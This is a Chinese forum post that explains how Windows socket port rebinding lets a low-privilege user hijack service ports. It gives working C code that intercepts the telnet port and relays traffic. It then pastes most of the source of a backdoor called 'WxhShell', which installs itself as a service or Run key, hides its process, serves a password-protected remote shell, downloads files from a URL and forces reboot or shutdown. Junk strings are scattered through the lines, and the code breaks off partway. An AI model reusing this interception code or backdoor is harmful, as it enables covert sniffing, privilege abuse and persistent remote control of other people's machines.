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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E42eOGp9i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dr{y0`CCN  
cL8#S>>u.  
  saddr.sin_family = AF_INET; .Hc(y7HV  
okq[ o90  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \V2,pi8'v  
g\GdkiIj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H0a/(4/xg  
CzV(cSS9-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {F N;'Uc  
iqhOi|!  
  这意味着什么?意味着可以进行如下的攻击: :Vg}V"QR  
dbS +  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 * n(> ^  
`]$?uQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y[O-pD`  
+pH@oFNK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \Hqc 9&0  
n:U>Fj>q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0Q593F  
DWt*jX*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4$,,Ppn  
qQxz(}REu9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0aR,H[r[?  
JK#vkCkyM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ufo>|A6;$  
5FC4@Ms`  
  #include qQ7w&9r.M  
  #include 1\dn 1Hh  
  #include 4gdY`}8b^}  
  #include    /w]&t\]*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k:A|'NK~  
  int main() "0jJh^vk  
  { kW6%32  
  WORD wVersionRequested; i.iio-  
  DWORD ret; 5)zn:$cz  
  WSADATA wsaData; (1pEEq84  
  BOOL val; 8_d -81Dd  
  SOCKADDR_IN saddr; 1Q}mf!Y  
  SOCKADDR_IN scaddr; %HtuR2#ca  
  int err; 6Ggs JU  
  SOCKET s; #$\fh;!W  
  SOCKET sc; Y{f7 f'_  
  int caddsize; 92dF`sv  
  HANDLE mt; 3Dm8[o$Z  
  DWORD tid;   \'19BAm'  
  wVersionRequested = MAKEWORD( 2, 2 ); {+("C] b  
  err = WSAStartup( wVersionRequested, &wsaData ); K:yr-#(P/  
  if ( err != 0 ) { C9Bh@v%90^  
  printf("error!WSAStartup failed!\n"); <Y'>F!?#  
  return -1; +TN9ujL6@  
  } tJ& 5tNl  
  saddr.sin_family = AF_INET; A%Z)wz{  
   (}!C4S3#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (#(O r  
lS{r=y_0.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kvsA]tK.  
  saddr.sin_port = htons(23); v7trr W}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {bF1\S]2  
  { 0)uYizJce  
  printf("error!socket failed!\n"); }xn_6  
  return -1; vxN0,l  
  } Cd#E"dY6  
  val = TRUE; q]4pEip  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K2'O]#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jd 3@cLCe-  
  { 3+OsjZ  
  printf("error!setsockopt failed!\n"); PfW|77  
  return -1; kpfwqHT  
  } "oc$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FE5Q?*Ea  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N4^5rrkL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0vs0*;F;  
4cCF \&yU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O>DNC-m)i{  
  { j kn^Z":  
  ret=GetLastError(); I#A2)V0P)  
  printf("error!bind failed!\n"); (!K+P[g  
  return -1; NVIWWX9?  
  } c^I0y!  
  listen(s,2); #] KgUc5B  
  while(1) 8IY19>4'5J  
  { yOHXY&  
  caddsize = sizeof(scaddr); K <`>O, F  
  //接受连接请求 A{,n;;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lue|Plm[y  
  if(sc!=INVALID_SOCKET) 4\ $3  
  { SHdL /1~t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b#Kq[}  
  if(mt==NULL) (wt+`_6  
  { k{Lv37H  
  printf("Thread Creat Failed!\n"); Wr|G:(kw\!  
  break; W=-|`  
  } y62%26 [  
  } KS>$`ax,  
  CloseHandle(mt); 18!VO4u\I  
  } )Id2GV~2B  
  closesocket(s); E)YVfM  
  WSACleanup(); !G=>ve  
  return 0; |KG&HN fP-  
  }   !Rw&DFU  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8:g!w:$x  
  { -wr(vE,  
  SOCKET ss = (SOCKET)lpParam; FRyPeZR  
  SOCKET sc; -Wo15O"  
  unsigned char buf[4096]; Y_H/3?b%  
  SOCKADDR_IN saddr; Ky9W/dCR  
  long num; !s IwFv )  
  DWORD val; ]rX9MA6  
  DWORD ret; yqcM(,0]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tEhr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OeTu?d&N  
  saddr.sin_family = AF_INET; `bP?o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D\rmaF+  
  saddr.sin_port = htons(23); 2cnj@E:5l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |4SW[>WT:  
  { VuWib+fT  
  printf("error!socket failed!\n"); }C~]=Z  
  return -1; fD6GQ*  
  } Gt^d;7x]  
  val = 100; pt!'v$G/*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3IyZunFT  
  { Pz~q%J  
  ret = GetLastError(); H7e /  
  return -1; ?JqjYI{$  
  } v}`1)BUeF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9m!7|(QV  
  { |cTpw1%I~  
  ret = GetLastError(); ' iQ9hQjD  
  return -1; _X%Dw  
  } yq*JdTF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fi=?n{e'  
  { H-&3}   
  printf("error!socket connect failed!\n"); <aVfJd/fT  
  closesocket(sc); YN#XmX%  
  closesocket(ss); sv=^k(d3  
  return -1; WN0c %kz=  
  } ;QPy:x3  
  while(1) nPf'ee  
  { ,f<B}O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ KAG|r9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (+MC<J/i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f)Y  
  num = recv(ss,buf,4096,0); A'g,:8Ou  
  if(num>0) #]zhZW4  
  send(sc,buf,num,0); W8* 2;F]  
  else if(num==0) P6HGs? *  
  break; "L_-}BK  
  num = recv(sc,buf,4096,0); "?H+ u/8$  
  if(num>0) oyQ0V94j  
  send(ss,buf,num,0); /.ZaE+  
  else if(num==0) M:|/ijp N  
  break; Yw^ Gti'<  
  } 3]S`|#J  
  closesocket(ss); 3H'*?|Y(#  
  closesocket(sc); FfXZ|o$;  
  return 0 ; `vEqj v  
  } b`]M|C [5  
*<dHqK`?C  
u+DX$#-n!]  
========================================================== j |td,82.  
5B|,S1b  
下边附上一个代码,,WXhSHELL 2FT-}w0;  
AfE%a-;:  
========================================================== ZY Kd  
G+C} <S}  
#include "stdafx.h" n_;S2KM  
'z](xG<  
#include <stdio.h> DPeVKyjU  
#include <string.h> {rfte'4;=  
#include <windows.h> j 0?>w{e  
#include <winsock2.h> ?Ccw4]YO,=  
#include <winsvc.h> bX&e_Pd  
#include <urlmon.h> T/Q==Q{W:  
"G kI5!  
#pragma comment (lib, "Ws2_32.lib") i* gKtjx  
#pragma comment (lib, "urlmon.lib") "aA_(Ydzj  
Xq%*# )M;  
#define MAX_USER   100 // 最大客户端连接数 O\JD,w  
#define BUF_SOCK   200 // sock buffer {9;eH'e  
#define KEY_BUFF   255 // 输入 buffer >]?Jrs  
oT!/J  
#define REBOOT     0   // 重启 :p$EiR  
#define SHUTDOWN   1   // 关机 D"`[6EN[  
NxB+?  
#define DEF_PORT   5000 // 监听端口 vnVZJ}]w\  
FK3Whe{KP{  
#define REG_LEN     16   // 注册表键长度 \bRy(Z)  
#define SVC_LEN     80   // NT服务名长度 2YluJ:LN  
%09*l%,;  
// 从dll定义API `{L{wJ:&a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LV\ieM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^\{J5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{W SKn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /Mx.:.A&$  
@Q3, bj  
// wxhshell配置信息 %xpd(&)n  
struct WSCFG { Yg|"-  
  int ws_port;         // 监听端口 BDp:9yau  
  char ws_passstr[REG_LEN]; // 口令 rFO_fIJno  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1^tSn#j  
  char ws_regname[REG_LEN]; // 注册表键名 zM\IKo_"  
  char ws_svcname[REG_LEN]; // 服务名 )1K! [ W}t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mCK],TOA:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mb~~A5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b_ZNI0Hp@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a>?p.!BM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]p\u$VY9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 15JsmA*Q  
<B=[hk!  
}; {9Xm<}%u]]  
gu!](yEgl  
// default Wxhshell configuration [JZ  h*A  
struct WSCFG wscfg={DEF_PORT, Eh {up  
    "xuhuanlingzhe", *F|i&2  
    1, /Go>5 B>  
    "Wxhshell", f!EOYowW  
    "Wxhshell", IQ=CNby:  
            "WxhShell Service", pqOA/^ar  
    "Wrsky Windows CmdShell Service", nrF!;:x  
    "Please Input Your Password: ", D|[/>x  
  1, ,,Jjr[A_j  
  "http://www.wrsky.com/wxhshell.exe", 5'62ulwMP=  
  "Wxhshell.exe" +R9%~Z.=  
    }; Vv2{^ !aZ  
Fdr*xHx$P  
// 消息定义模块 2*Va9HP!q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f@h2;An$w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [' ?^>jfr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 48:liR  
char *msg_ws_ext="\n\rExit."; \+G.]|"Y  
char *msg_ws_end="\n\rQuit."; 7 T mK  
char *msg_ws_boot="\n\rReboot..."; 8V,"Id][  
char *msg_ws_poff="\n\rShutdown..."; 7t`E@dm  
char *msg_ws_down="\n\rSave to "; T0s35z9  
iF8@9m  
char *msg_ws_err="\n\rErr!"; #gF2(iK6  
char *msg_ws_ok="\n\rOK!"; ^uM_b  
BB0g}6M  
char ExeFile[MAX_PATH]; /G{&[X<4U  
int nUser = 0; 8NxUx+]  
HANDLE handles[MAX_USER]; 4bPqmEE  
int OsIsNt; G 2!}R  
ypgliq(  
SERVICE_STATUS       serviceStatus; IN<:P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >G<4R o"  
dZ.}j&ZH'  
// 函数声明 LgO i3  
int Install(void); J1nXAh)J  
int Uninstall(void); 'w'Dwqhmr  
int DownloadFile(char *sURL, SOCKET wsh); U 7EHBW  
int Boot(int flag); Bl=nj.g  
void HideProc(void); ,n^TN{#  
int GetOsVer(void); YfV"_G.ad|  
int Wxhshell(SOCKET wsl); =jsx (3V   
void TalkWithClient(void *cs); sE^ns\&QP=  
int CmdShell(SOCKET sock); =.VepX|?D  
int StartFromService(void); Th.3j's  
int StartWxhshell(LPSTR lpCmdLine); yB 1I53E  
!?S5IGLOj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FK-}i|di  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wEZ,49  
>-UD]?>  
// 数据结构和表定义 BvSdp6z9Iv  
SERVICE_TABLE_ENTRY DispatchTable[] = \)uy"+ Z`  
{ ~K4k'   
{wscfg.ws_svcname, NTServiceMain}, $,}Qf0(S  
{NULL, NULL} mgk64}K[n  
}; +[>y O _}  
jG =(w4+  
// 自我安装 A J<iM)l|  
int Install(void) X77A; US  
{ jM6uT'Io  
  char svExeFile[MAX_PATH]; bta0? O #  
  HKEY key; UENYJ*tnP  
  strcpy(svExeFile,ExeFile); u4go*#  
}~myf\$  
// 如果是win9x系统,修改注册表设为自启动 <ur KIu  
if(!OsIsNt) { T_3V/)%@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }P05eI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fsnw3/Nr  
  RegCloseKey(key); 3s3a>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 58M'r{8_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >&*6Fqd  
  RegCloseKey(key); 0Ei\VVK>  
  return 0; LBW.*PHW  
    } z~GVvgd  
  } e_YW~z=6t  
} ]R97n|s_  
else { =~,$V<+c  
%{N>c:2I$  
// 如果是NT以上系统,安装为系统服务 Rh!L'? C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); emGV]A%nss  
if (schSCManager!=0) ; :v]NZtc  
{ $ iX^p4v  
  SC_HANDLE schService = CreateService oc!biE`u  
  ( zyIza@V(  
  schSCManager, XMjI}SPG  
  wscfg.ws_svcname, p=:7 atE  
  wscfg.ws_svcdisp, N{?Tm`""  
  SERVICE_ALL_ACCESS, 43UJ#rF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bx+(.F  
  SERVICE_AUTO_START, NTXws4'D  
  SERVICE_ERROR_NORMAL, {Bav$kw;?e  
  svExeFile, m~Lf^gbG?  
  NULL, VZU Zngw  
  NULL, =g{_^^n  
  NULL, F2Nb5WT  
  NULL, :6\-9m8JM  
  NULL 1C^HCIH7J  
  ); jEC'l]l  
  if (schService!=0) TKj/6Jz|  
  { u i s:\Uc  
  CloseServiceHandle(schService); },?-$eyX  
  CloseServiceHandle(schSCManager); 7H8GkuO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 44Seq  
  strcat(svExeFile,wscfg.ws_svcname); Y!K^-Y}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;g;,%jdCS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4<=eK7;XR  
  RegCloseKey(key); eukX#0/^  
  return 0; z6GL,wo#  
    } cP}5}+  
  } C=xo&I7  
  CloseServiceHandle(schSCManager); A"P\4  
} X=S}WKu  
} )?= kb  
ZwY`x')  
return 1; mSVX4XW<  
} G#_(7X&  
DzX6U[=  
// 自我卸载 v.~Nv@+kR  
int Uninstall(void) jgZX ~D  
{ I1eb31<  
  HKEY key; hr/xpQW  
mI _ 6f~  
if(!OsIsNt) { ;ph+ZV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DYy@t^sC  
  RegDeleteValue(key,wscfg.ws_regname); LaAgoarN  
  RegCloseKey(key); .HH,l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S4@117z5  
  RegDeleteValue(key,wscfg.ws_regname); ~|$) 1  
  RegCloseKey(key); \kua9bK  
  return 0; $S"zxEJJ Y  
  } HnH2u;  
} g/n"N>L  
} ThT.iD[  
else { K4K3< Pg  
-7C=- \]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (AyRs7Dkn  
if (schSCManager!=0) hs -}:^S`  
{ #U6/@l)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 93zlfLS0  
  if (schService!=0) g:@Cg.q8  
  { |zr)hC  
  if(DeleteService(schService)!=0) { A ydy=sj  
  CloseServiceHandle(schService); uMq\];7I  
  CloseServiceHandle(schSCManager); 6 ^6uK  
  return 0; cSHtl<UY  
  } B<|q{D$N/  
  CloseServiceHandle(schService); l1`c?Y  
  } A-@-?AR  
  CloseServiceHandle(schSCManager); 6832N3=  
} u:{. Hn`  
}   t`&s  
.n ^O)|Z  
return 1; [8om9 Z3  
} BhhK| U/  
.[eSKtbc)  
// 从指定url下载文件 CM@"lV_  
int DownloadFile(char *sURL, SOCKET wsh) SbQ{ >  
{ ni02N3R  
  HRESULT hr; lzQ&)7`  
char seps[]= "/"; fR{WS:Pv  
char *token; ":ws~Zep  
char *file; =^".{h'-  
char myURL[MAX_PATH]; @Z1?t%1  
char myFILE[MAX_PATH]; ua.6?W)  
I{X@<o}  
strcpy(myURL,sURL); ./5MsHfbxt  
  token=strtok(myURL,seps); sB*h`vs0T  
  while(token!=NULL) [))2u:tbS\  
  { 'KW+Rr~tZn  
    file=token; 7u&H*e7  
  token=strtok(NULL,seps); a7 '\*  
  } =fu_ Jau}  
sjVl/t`l  
GetCurrentDirectory(MAX_PATH,myFILE); 07HX5 Hd  
strcat(myFILE, "\\"); =,} !Ns{k  
strcat(myFILE, file); zfT'!kb,(  
  send(wsh,myFILE,strlen(myFILE),0); qkyX*_}  
send(wsh,"...",3,0); EZNB`gO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8)Bn?6.  
  if(hr==S_OK) s#8{:ko  
return 0; s\K-(`j}  
else Snvj9Nr  
return 1; @tU>~y{E  
X#\P.$  
} 0^tJX1L  
I?xhak1)lu  
// 系统电源模块 ^LAS9K1.  
int Boot(int flag) &opH\wa  
{ Yh!\:9@(  
  HANDLE hToken; =K&q;;h  
  TOKEN_PRIVILEGES tkp; &b#NF1Q.  
i~M.F=I5  
  if(OsIsNt) { {UjIxV(J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N'1[t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,'@ISCK^  
    tkp.PrivilegeCount = 1; ZB h@%A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'XjHB!!hU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J1wGK|F~  
if(flag==REBOOT) { %>QSeX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e[Ul"pMvS`  
  return 0; l=.InSuLT  
} DyV[+P  
else { (j\UoKLRt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TTjjyZ@  
  return 0; )}k`X<~k  
} >?Y3WPB<F  
  } m:o$|7r  
  else { aG&kl O>m  
if(flag==REBOOT) { Z_TbM^N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @eD2<e  
  return 0; YJ;a{)e  
} _a02#  
else { "q#g/T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yyYbB]D  
  return 0; s</ktPtu  
} iS^^Z ZyR  
} (5\d[||9g  
Zi'8~iEH  
return 1; P<w>1 =  
} E9NGdp&-Ah  
mm~o%1|WR  
// win9x进程隐藏模块 t3kh]2t  
void HideProc(void) |x~ei_x7.p  
{ _O'rZ5}&  
CpJXLc3_d5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ny;)+v?mN\  
  if ( hKernel != NULL ) ;jfXU_K  
  { oI"Fpo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SX<>6vH&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N,'qMoNf  
    FreeLibrary(hKernel); ( ]uoN4  
  } ;{#M  
/t2 <OU9  
return; n@8{FoF  
} qv >(  
!!Gi.VL  
// 获取操作系统版本 v nT  
int GetOsVer(void) G7#~=W 2M  
{ xn#I7]]G  
  OSVERSIONINFO winfo; -)c"cgx.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l<:)rg^,  
  GetVersionEx(&winfo); eFI9S.6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >WG91b<Xq  
  return 1; +]2~@=<@  
  else o]k]pNO  
  return 0; 2H0q\zZ  
} "VhrsVT  
z[I/ AORl  
// 客户端句柄模块 ,}$x'8v  
int Wxhshell(SOCKET wsl) 5Ddyb%  
{ `Y9}5p  
  SOCKET wsh; I.0Usa"z  
  struct sockaddr_in client; q>h+Ke  
  DWORD myID; Y  .X-8  
M> l+[U  
  while(nUser<MAX_USER) jT_Tx\k  
{ yru}f;1  
  int nSize=sizeof(client); n!,TBCNX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' =s*DL`0  
  if(wsh==INVALID_SOCKET) return 1; |Szr=[  
~ .=HN}E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )1'_g4  
if(handles[nUser]==0) T_ #oMXZ/  
  closesocket(wsh); ."g5+xX  
else faeyk]u  
  nUser++; 8&iI+\lCy  
  } ))-M+CA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yl3PZ*#@ Q  
CF 0IP  
  return 0; /-9+(  
} "PP0PL^5F  
hndRg Co  
// 关闭 socket bGLp0\0[  
void CloseIt(SOCKET wsh) >.sN?5}y  
{ ?v*7!2;  
closesocket(wsh); : l[Q  
nUser--; U-N/Z\QD  
ExitThread(0); b-gVRf#F  
} Ol^EQLO  
9O_N iu0  
// 客户端请求句柄 QE6-(/  
void TalkWithClient(void *cs) / 1@m#ZxA:  
{ mh SsOmJ5  
vWga>IGM  
  SOCKET wsh=(SOCKET)cs; LU=)\U@Q  
  char pwd[SVC_LEN]; f*@:{2I.v  
  char cmd[KEY_BUFF]; Z1}zf( JU  
char chr[1]; ooxzM `  
int i,j; _^A NJ7  
Q(Y,p`>  
  while (nUser < MAX_USER) { +VFwYdW,  
pIjVJ9+j  
if(wscfg.ws_passstr) { m eWq9:z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dQ"W~ig  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QAw,XZ.K^  
  //ZeroMemory(pwd,KEY_BUFF); lt"*y.%@b  
      i=0; Tj~#Xc  
  while(i<SVC_LEN) { sm S0Rk  
M)RQIl5  
  // 设置超时 Q2PwO;E.`C  
  fd_set FdRead; S}I=i>QB  
  struct timeval TimeOut; hS/'b$#  
  FD_ZERO(&FdRead); !~kzxY  
  FD_SET(wsh,&FdRead); $S("- 3  
  TimeOut.tv_sec=8; =f|a?j,f~  
  TimeOut.tv_usec=0; <;"=ah7A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ''YjeX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (!=aRC.-  
-JQg{A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Enff0 =+  
  pwd=chr[0]; Bbp9Q,4  
  if(chr[0]==0xd || chr[0]==0xa) { bS"M*  
  pwd=0; {NDe9V5  
  break; h0pr"]sO;$  
  } 00TdX|V`  
  i++; 6S&YL  
    } |`/uS;O  
m^+ ~pC5  
  // 如果是非法用户,关闭 socket YtQWArX,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N$b;8F  
} I'YotV7  
(`xnA~BN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dkC/ ?R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B\yq% m  
SW, Po>Y  
while(1) { a^,RbV/  
}A ^,y  
  ZeroMemory(cmd,KEY_BUFF); P ie!Su`  
|0mI3r  
      // 自动支持客户端 telnet标准   _J!mhU A  
  j=0; (iP,YKG1?  
  while(j<KEY_BUFF) { _ RYZyw   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z5/O8}Gz@  
  cmd[j]=chr[0]; </p.OaNe  
  if(chr[0]==0xa || chr[0]==0xd) { \]El%j4  
  cmd[j]=0; iHB)wC`u  
  break; DVH><3FF  
  } +.cv,1Vx  
  j++; |SleSgS<#  
    } i|GC 'XD@  
ARo5 Ss{  
  // 下载文件 q"oNB-bz  
  if(strstr(cmd,"http://")) { ]^<~[QK_C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }IL@j A  
  if(DownloadFile(cmd,wsh)) Awh)@iTL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ws.)  
  else A@r,A?(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Plk4 o*g  
  } Tkf !Y?  
  else { yL-L2  
7m:,-xp  
    switch(cmd[0]) { >d\I*"C+d  
  kvn6 NiU  
  // 帮助 470Pig>I8  
  case '?': { DAi[3`C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t1S~~FLE  
    break; Qt 2hb  
  } ^p/mJ1/s7  
  // 安装 8),Y|4  
  case 'i': { TH &B9  
    if(Install()) g~b'}^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tHeLq*))  
    else >wwEa4   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5JXLfYTUI  
    break; (WvA9s{/  
    } aT#|mk=\  
  // 卸载 0 M?}S~p]  
  case 'r': { ><~hOK?v  
    if(Uninstall()) .M lE1n'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Z~o frj  
    else LJD"N#c   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&'md  
    break; -5K/ cK  
    } 2X`M&)"X  
  // 显示 wxhshell 所在路径 Y i`.zm  
  case 'p': { 1Jt%I'C?  
    char svExeFile[MAX_PATH]; $.Ni'U  
    strcpy(svExeFile,"\n\r"); -/X-.#}-  
      strcat(svExeFile,ExeFile); 2ip~qZNw><  
        send(wsh,svExeFile,strlen(svExeFile),0); 9}N*(PI  
    break; zPe .  
    } >\ W" 3.  
  // 重启 0dW1I|jR  
  case 'b': { 9EEHLx"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5> UgBA  
    if(Boot(REBOOT)) {8Ll\j@ "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V|= 1<v  
    else { .;'xm_Gw<  
    closesocket(wsh); uw]Jm"=w  
    ExitThread(0); ryN-d%t?  
    } |d K-r  
    break; /+u*9ZR&1  
    } 9YKEME+:  
  // 关机 ^^m%[$nw&r  
  case 'd': { SzgVvmM}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ctGjqHo  
